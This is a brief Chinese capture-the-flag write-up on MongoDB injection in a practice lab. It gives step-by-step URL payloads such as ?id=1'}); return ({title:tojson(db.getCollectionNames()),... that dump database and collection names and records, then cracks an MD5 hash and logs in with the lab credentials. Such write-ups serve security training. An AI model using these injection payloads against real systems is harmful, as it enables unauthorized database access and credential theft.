题目介绍:

题目.PNG

提供了题目的一部分源码:

1530693387a37838.jpg

判断注入:

根据源码中的 ({'id':'$id'});处理,输入 ?id=1'});,页面报错,发现注入点
发现注入点.PNG

判断回显:

使用语句 ?id=1'}); return ({title:1,content:'2,页面出现回显位置
回显位置.PNG

查询数据库:

使用语句:?id=1'}); return ({title:tojson(db),content:'1获知数据库
数据库.PNG

爆数据库表:

使用语句:?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1可获知数据库表,db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
表.PNG

爆字段:

使用语句:?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1获得字段, db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
爆字段.PNG
爆字段2.PNG

MD5解码:

解码获得登录密码
md5.PNG

获取key:

用户名:mozhe 密码:156584 登录获取key
key.PNG